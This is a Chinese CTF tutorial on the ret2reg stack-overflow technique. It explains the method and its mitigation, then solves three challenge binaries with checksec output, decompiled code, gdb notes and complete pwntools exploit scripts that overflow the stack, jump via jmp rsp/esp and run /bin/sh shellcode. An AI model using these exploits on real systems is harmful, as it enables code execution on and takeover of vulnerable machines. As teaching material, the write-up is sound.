ret2reg

利用原理

ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。

一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。

该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。

只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。

利用思路

主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令

  1. 分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的shellcode
  2. 查找call regjmp reg,将指令所在的地址填到EIP位置,即返回地址
  3. reg指向的空间上注入shellcode

例题

rsp_shellcode

source

#include <stdio.h>

int test = 0;

int main() {
    char input[100];

    puts("Get me with shellcode and RSP!");
    gets(input);

    if(test) {
        asm("jmp *%rsp");
        return 0;
    }
    else {
        return 0;
    }
}

查保护

没有NX和canary以及PIE保护,即栈可执行。

	Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

分析

分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。

源代码中还内嵌了一个jmp rsp的汇编指令,猜测要通过ret2reg的方式打shellcode。

gdb调试发现在函数返回的时候rsp仍然指向缓冲区地址。

这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp来让rip指向缓冲区,然后我们再发送shellcode让程序执行shellcode。

先执行jmp rsp再发送shellcode是因为程序可以溢出很长的字节,我们可以先将rip指向缓冲区然后再发送shellcode执行。

*RSP  0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

#查找程序gadget
jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = flat(
    b'a' * 120,  
    jmp_rsp,      
    asm(shellcraft.sh())     
)
sla("RSP!\n",payload)
ia()

X-CTF Quals 2016 - b0verfl0w

查保护

32位程序无NX、canary以及PIE保护,栈可执行。

	Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x8048000)
    Stack:    Executable
    RWX:      Has RWX segments

分析

ida反编译

程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。

int vul()
{
  char s[32]; // [esp+18h] [ebp-20h] BYREF

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(s, 50, stdin);
  printf("Hello %s.", s);
  fflush(stdout);
  return 1;
}

gdb动调调试发现rsp指向缓冲区。

*ESP  0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave

我们无法直接返回执行很长的shellcode,但是可以通过较短的汇编指令将栈帧进行一个迁移。

迁移到一个我们想要它执行的地方,比如payload的前部分。

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode=asm("""
push 0x68732f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
push 11
pop eax
int 0x80
""")

jmp_esp = next(elf.search(asm('jmp esp')))
payload = shellcode + (0x20 - len(shellcode)) * b'a' + b'aaaa' + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')
sl(payload)

ia()

[广东省大学生攻防大赛 2022]jmp_rsp

64位程序无NX、PIE保护,栈可执行。

程序显示存在canary保护。

查保护

	Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments

分析程序

ida反编译

发现程序存在栈溢出,并且程序并没有进行canary检查。

所以这个canary是假的。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v3; // cl
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  printf("this is a classic pwn", argv, envp, v3);
  read(0, buf, 0x100uLL);
  return 0;
}

gdb动调调试发现rsp指向栈空间。

同样,让rsp进行一个迁移即可。

*RSP  0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax

exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = asm(shellcraft.sh()).ljust(0x88, b'\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')
sl(payload)

ia()

后言

题目链接:例题链接
参考链接:Using RSP | Cybersec (gitbook.io)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值